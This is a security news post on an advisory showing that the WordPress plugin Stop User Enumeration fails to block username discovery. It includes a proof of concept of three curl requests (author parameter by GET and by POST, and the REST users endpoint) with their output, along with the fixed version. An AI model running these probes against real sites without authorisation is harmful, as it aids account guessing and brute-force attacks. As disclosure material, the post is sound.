Categories: CVE/vulnerability

WordPress Plugin Stop User Enumeration does not stop user enumeration

User Enumeration is the capacity to automatically figure out if a given account is valid on a system.

By enumerating client accounts, you are at danger of locking out accounts after a predefined number of failed attempts.

Stop User Enumeration is a module stops client count dead , and furthermore it will log an event in your System log so you can use fail2ban to blocking the probing IP specifically at your firewall, an intense solution for VPS proprietors to stop beast constrain assaults and additionally DDOS assaults.

WordPress 4.7 introduced a REST API endpoint to list all users.

This plugin attempts to prevent requests with an author value (but fails), and makes no attempt at preventing requests to the REST API.

Proof of concept

There are three approaches to bypass this plugin module’s protections.

GET Request :

$ curl -i -s 'http://localhost/?wp-comments-post&author=1'
HTTP/1.1 301 Moved Permanently
Date: Fri, 23 Dec 2016 15:38:02 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.13
Location: http://localhost/author/tomdxw/?wp-comments-post
Content-Length: 0
Content-Type: text/html; charset=UTF-8

POST request:

$ curl -s http://localhost/?wp-comments-post -d author=1 | grep '<title'
 <title>tomdxw – WP Test</title>

REST API:

$ curl -s http://localhost/wp-json/wp/v2/users
[{“id”:1,”name”:”tomdxw”,”url”:””,”description”:””,”link”:”http:\/\/localhost\/author\/tomdxw\/”,”slug”:”tomdxw”,”avatar_urls”:{“24″:”http:\/\/2.gravatar.com\/avatar\/2b5450324939bb3d1352f377950c5503?s=24&d=mm&r=g”,”48″:”http:\/\/2.gravatar.com\/avatar\/2b5450324939bb3d1352f377950c5503?s=48&d=mm&r=g”,”96″:”http:\/\/2.gravatar.com\/avatar\/2b5450324939bb3d1352f377950c5503?s=96&d=mm&r=g”},”meta”:[],”_links”:{“self”:[{“href”:”http:\/\/localhost\/wp-json\/wp\/v2\/users\/1″}],”collection”:[{“href”:”http:\/\/localhost\/wp-json\/wp\/v2\/users”}]}}]

Mitigation’s

Upgrade to version 1.3.5 or later.

Discovered by DXWsecurity

For more Information : https://security.dxw.com/advisories/stop-user-enumeration-does-not-stop-user-enumeration/

Gurubaran

Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.

View Comments

Recent Posts

Hackers Use ConnectWise SkyKick Credentials to Access Microsoft 365, Halting Cloud Backups

Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…

1 day ago

Anthropic’s Claude AI Uncovers Origins of NSA-Provided Cryptographic Keys After 25 Years

Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…

1 day ago

Critical WordPress Flaws Allow Attackers to Execute Remote Code Without Authentication

Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…

1 day ago

OpenBSD Kernel Flaw Dating Back 37 Years Enables Local Privilege Escalation to Root

A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…

1 day ago

GhostAction Hackers Hide Credential-Stealing Malware in Fake Font Files Across 94 GitHub Repositories

GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…

1 day ago

SideCopy Hackers Target Indian Organizations With ReverseRAT Malware to Steal Data

Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…

1 day ago